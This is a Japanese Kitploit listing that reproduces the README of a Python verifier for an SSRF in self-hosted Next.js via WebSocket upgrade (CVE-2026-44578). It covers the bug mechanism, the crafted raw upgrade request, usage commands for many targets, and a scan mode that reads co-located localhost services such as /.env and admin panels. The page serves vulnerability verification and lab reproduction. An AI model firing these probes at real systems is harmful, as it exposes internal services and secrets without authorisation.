Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
verify-ghsa-c4j6-fc7j-m34r — GHSA-c4j6-fc7j-m34r / CVE-2026-44578(Next.js WebSocket-upgrade SSRF)用の OOB ベリファイア | Kitploit
ツール/GitHubGitHub/panchocosil/verify-ghsa-c4j6-fc7j-m34r
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストレッドチーミング
GitHubpanchocosil/verify-ghsa-c4j6-fc7j-m34r

verify-ghsa-c4j6-fc7j-m34r

GHSA-c4j6-fc7j-m34r / CVE-2026-44578(Next.js WebSocket-upgrade SSRF)用の OOB ベリファイア

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
3ヶ月前未レビュー

verify-ghsa-c4j6-fc7j-m34r

GHSA-c4j6-fc7j-m34r / CVE-2026-44578 向けインバンド検証ツール — WebSocket アップグレードリクエストを介した Next.js におけるサーバーサイドリクエストフォージェリ (SSRF)。

⚠️ 許可を受けたセキュリティテストのみを対象としています。あなたは、このスクリプトに 渡すすべてのターゲットをテストする許可を得ていることを確認する責任があります。

脆弱性

フィールド値
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CWECWE-918 (SSRF)
CVSS v3.18.6 (高) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
影響を受けるバージョンnext >=13.4.13 <15.5.16、>=16.0.0 <16.2.5
修正済みバージョン15.5.16、16.2.5
修正コミットc4f69086
影響を受けない構成Vercel ホスティング、output: "export"、Upgrade を転送しないリバースプロキシの背後にあるデプロイ

バグの実際の仕組み (15.5.15 と 15.5.16 に対して実証済み)

  1. 攻撃者はセルフホスト型 Next.js プロセスへの TCP 接続を開き、リクエスト URI が 絶対 URL である HTTP/1.1 WebSocket アップグレードを送信します:

    root@kitploit:~
    GET http://anything/<path> HTTP/1.1
    Host: <target>
    Connection: Upgrade
    Upgrade: websocket
    Sec-WebSocket-Version: 13
    Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
    
  2. resolveRoutes では、URL に // が含まれるため (すべての絶対 URI に含まれる)、 「繰り返しスラッシュの正規化」ブランチに一致します。そのブランチは { finished: true, statusCode: 308, parsedUrl: <mangled> } を返して早期リターンします。 ノーマライザは http://host/path を http:/host/path (スラッシュ 1 つ) に縮約します。

  3. router-server.ts では、パッチ適用前のアップグレードハンドラは finished/statusCode を無視し、parsedUrl.protocol のみをチェックしていました。 プロトコルは正規化後も保持されるため、proxyRequest(...) が呼び出されていました。

修正 (コミット c4f69086) により、アップグレードハンドラはプロキシ実行の前に finished && !statusCode をチェックするようになりました。308 正規化のケースは現在 !statusCode チェックに失敗するため、代わりにソケットが閉じられます。

この CVE に対してコールバック型 OOB 検証ツールが機能しない理由

プロキシは外部ホストに到達することはありません。interactsh / Burp Collaborator / webhook カナリアをセットアップして Next プロセスが外部にコールバックすることを期待しても、 それは起こりません — 接続はターゲットマシン上の localhost に向かいます。 したがって、この検証ツールはアップグレードソケットから読み取ったインバンドシグナルを 使用します: 脆弱なサーバーは認識可能なエラーボディを返し、パッチ適用済みのサーバーは 何も返しません。

実際の影響

SSRF の転送先は制限されていますが、実際のデプロイでは依然として意味があります:

  • 同じホスト上に共存し、127.0.0.1:80 または :443 にバインドして localhost 発信の リクエストを信頼するサイドカーコンテナ / リバースプロキシ / 管理パネル。
  • 127.0.0.1:80 で HTTP 経由で公開された Docker ソケット (まれですが実例あり)。
  • 攻撃者が制御する URI パスと WebSocket アップグレードセマンティクスによる、任意の localhost HTTP サービスへのパストラバーサル。

AWS / GCP / Azure のメタデータエンドポイント (169.254.169.254) には、このバグが 転送先を localhost に固定するため、直接到達できません。

検出モデル

スクリプトは、各ターゲットに対して生の TCP (または TLS) ソケットを開き、細工された アップグレードを送信してレスポンスを読み取り、2 つのシグナルを生成します:

  • verdict — バグが存在するかどうか。
  • impact_confirmed — SSRF が実際にデータを窃取したかどうか (つまり、ターゲットの localhost:80/443 上の共存サービスが応答し、そのレスポンスを取得できたかどうか)。

impact_confirmed が true の場合、JSON 出力には漏えいしたレスポンスから解析された upstream_status、upstream_server、upstream_content_type も含まれます (トリアージ / レポート作成に有用)。

フロントエンドプロキシ誤検知ガード

デフォルトでは、すべてのターゲットは同じ絶対 URI リクエストラインを持つが Upgrade ヘッダーを含まない (Connection: close) コントロールプローブも受け取ります。 フロントエンドが両方のプローブに同じレスポンス (ステータス行 + 許容範囲内のサイズ) を 返した場合、ホスト自身のフロントエンドが絶対 URI リクエストライン自体を拒否している ことになります — nginx 400、Apache 400、CDN エッジ — そして SSRF は Next に到達して いません。判定は front_end_intercepts に格下げされ、JSON 出力にはプロキシのレスポンス から解析された front_end_status と front_end_server が含まれるため、オペレータは 何がインターセプトしているかを特定できます。

これにより、セルフホスト型 Next が nginx/Apache の背後にある場合に観測された実際の 誤検知が排除されます: これらのプロキシはプローブの GET http:///x HTTP/1.1 リクエスト ラインを汎用の 400 で拒否しますが、検出器は以前これを vulnerable_proxy_succeeded と 誤読していました。オプトアウトして生の判定を確認するには --no-control-probe を 指定してください。

要件

  • Python 3.10+
  • サードパーティ依存関係なし (標準ライブラリのみ)

使い方

root@kitploit:~
# single target
python3 verify_ghsa_c4j6.py --target https://app.example.com

# multiple targets via flag repetition
python3 verify_ghsa_c4j6.py \
    --target https://app1.example.com \
    --target app2.example.com:3000 \
    --target 10.0.0.5:80

# from a file (one target per line; '#' for comments)
python3 verify_ghsa_c4j6.py --targets-file targets.txt

# from stdin
cat targets.txt | python3 verify_ghsa_c4j6.py

# JSON Lines output for downstream tooling
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json

# Enumerate co-located services on the target's localhost:80/443 via the bug
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan

# Same, with a custom path list
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt

スキャンモード

--scan は、SSRF ガジェットを介して一般的なパスの組み込みリスト (Apache/nginx ステータス モジュール、ヘルス & メトリクスエンドポイント、Spring Boot Actuator、Go pprof、Docker デーモンエンドポイント、一般的な管理パネル、情報漏えいする設定ファイル、Elasticsearch ルートなど) をプローブします。

デフォルトでは、スキャンモードはターゲットごとにランダムな存在しないパスを使用した 追加の差分ベースラインプローブを 1 回実行します。後続のプローブは、その (status, body length) シグネチャがベースラインから乖離した場合にのみ DIFF として タグ付けされます — 「何も見つからなかった」アップストリームからの均一な 404 は noise としてマークされ、ヒット数を膨らませることはありません。サービスに到達したすべての プローブを報告するには --no-differential を指定します (従来の動作)。

出力はターゲットごとにグループ化されます:

root@kitploit:~
=== vulnscope.local:3030 ===
  baseline (random path): verdict=vulnerable_proxy_succeeded   status=404  bytes≈500
  [VULN+] DIFF  /                              impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /.env                          impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /admin                         impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /index.html                    impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /server-status                 impact=YES  status=200  ct='application/octet-stream'
  [VULN+] noise /_health                       impact=YES  status=404  ct='text/html;charset=utf-8'
  [VULN+] noise /actuator/env                  impact=YES  status=404  ct='text/html;charset=utf-8'
  ... (53 more 404 'noise' paths suppressed) ...
  -> 5 differential hit(s) / 58 probes
  -> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4

DIFF 行は実際のヒットです — ランダムパスのベースラインから乖離したレスポンス (異なるステータス、異なるボディ長) を持つパス。noise 行も HTTP サービスには到達しました が、ベースラインと同じ退屈なレスポンスを生成しました — 通常はオペレータが気にしない均一な 404 です。すべてのプローブが noise でベースラインからの乖離がない場合、バグは依然として 存在しますが、そのホストの localhost:80/443 では有用なものはリッスンしていません。

フラグ

ターゲットは host、host:port、または完全な http(s)://... URL のいずれかです。

プロキシサポート

すべてのプローブを HTTP CONNECT プロキシ経由でトンネリングし、Burp / mitmproxy / OWASP ZAP で検査します:

root@kitploit:~
# plain HTTP target via Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080

# HTTPS target via Burp (Burp MITMs TLS — need --insecure or install Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure

# proxy with basic auth
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128

プロキシには CONNECT host:port とそれに続く生のアップグレードペイロードが表示されます — Burp で SSRF プローブをログ記録 / リプレイ / 変更したい場合に有用です。

ローカルでの再現

5 つのコマンドで脆弱なラボを実行できます:

root@kitploit:~
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030

出力:

root@kitploit:~
[ VULN] target=127.0.0.1:3030  verdict=vulnerable  impact= no
        snippet: 'Internal Server Error'

[email protected] で繰り返すと verdict=likely_patched が表示されるはずです。

影響デモ (実際のデータ窃取)

demo_impact.sh は Next を :80 で実行し (そのため、localhost に固定された SSRF の 転送先が 同一の Next プロセスになります)、バグを介して Next 自身の HTML を読み戻します。 特権ポートへのバインドには sudo が必要です。

root@kitploit:~
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh

期待される出力は IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back で終わります。

注意事項

  • 偽陰性: Next の前段にあるリバースプロキシが Upgrade ヘッダーを転送しない場合、 脆弱性が隠蔽されます。スクリプトは likely_patched を報告します。可能であれば Next プロセスに対して直接再テストしてください。
  • 偽陽性: リテラル文字列 Internal Server Error がアップストリームプロキシ自身に よって返される可能性は理論上あります。それを除外するには、同じペイロードを Connection: Upgrade の代わりに Connection: close で再送信してください — 実際に 脆弱な Next はその場合 (異なるコードパス) Internal Server Error ボディの返信を停止します。
  • HTTP/2 のみのターゲット: 未対応です。next start はデフォルトで HTTP/1.1 です。

責任ある使用

所有しているシステム、または評価するための明示的な書面による許可を得ているシステムのみを テストしてください。

参照

  • アドバイザリ: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Next.js v15.5.16 リリース: https://github.com/vercel/next.js/releases/tag/v15.5.16
  • Next.js v16.2.5 リリース: https://github.com/vercel/next.js/releases/tag/v16.2.5
  • 修正コミット: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8

ライセンス

MIT

ツールをダウンロード

proxyRequest は、破損した URL に対して url.format(parsedUrl) を実行し、 http:/host:port/path を取得します。http-proxy はそのターゲットを解析し、ホストが 見つからないため (url.parse('http:/...').host === null)、デフォルトの転送先である localhost:80 (https の場合は localhost:443) にフォールバックします。

  • つまり実際には、SSRF により、攻撃者が制御するパスを指定して、Next に Next.js ホスト自身の localhost:80 / localhost:443 への WebSocket アップグレードを 開かせることができます。

  • レスポンス判定impact_confirmed
    Internal Server Error を含むvulnerablefalse — バグは証明されたが、プロキシは localhost 上の何にも到達しなかった
    HTTP/1. で始まるvulnerable_proxy_succeededtrue — 実際のレスポンスデータが窃取された
    空 / クリーンなクローズlikely_patchedfalse — 「Next ではない」「リバースプロキシが Upgrade を除去」「Vercel」も該当
    Upgrade なしのコントロールと同一front_end_interceptsfalse — フロントエンドプロキシが両方のプローブをショートサーキット。SSRF は Next に到達しなかった
    その他inconclusivefalse
    フラグ説明デフォルト
    --target URL単一のターゲット。複数指定する場合は繰り返します。—
    --targets-file PATH1 行に 1 ターゲットを記述したファイル。—
    --probe-path PATH細工された絶対 URI で使用されるパス。このパスでターゲットの localhost サービスに到達します (ターゲットごとのトークンサフィックスでログ記録)。/x
    --scan各ターゲットの localhost サービス上の一般的なパスを列挙します。ターゲットごとに 1 つの差分ベースラインプローブとパスリストを送信します。オフ
    --scan-paths-file PATHスキャンモード用のカスタムパスリスト (1 行に 1 つ)。--scan を暗黙的に有効にします。組み込み
    --no-differential--scan モードで、ベースラインプローブをスキップし、サービスに到達したすべてのプローブを報告します (従来の動作)。オフ
    --no-control-probeフロントエンドのショートサーキットガードを無効にします (ターゲットごとの追加の Upgrade なしプローブ)。ターゲットが直接の Next プロセスであると厳密に判明している場合に有用です。オフ
    --timeout SECソケットごとのタイムアウト。5
    --concurrency N並列プローブ数。10
    --insecureTLS 証明書の検証をスキップします。TLS を MITM する際に --proxy と併用する場合に必要です。オフ
    --proxy URLHTTP CONNECT プロキシ (Burp / mitmproxy / ZAP) 経由でトンネリングします。http://user:pass@host:port によるベーシック認証をサポートします。TLS ターゲットには Python 3.11+ が必要です。直接接続
    --json人間向けテキストの代わりに JSON Lines を出力します。オフ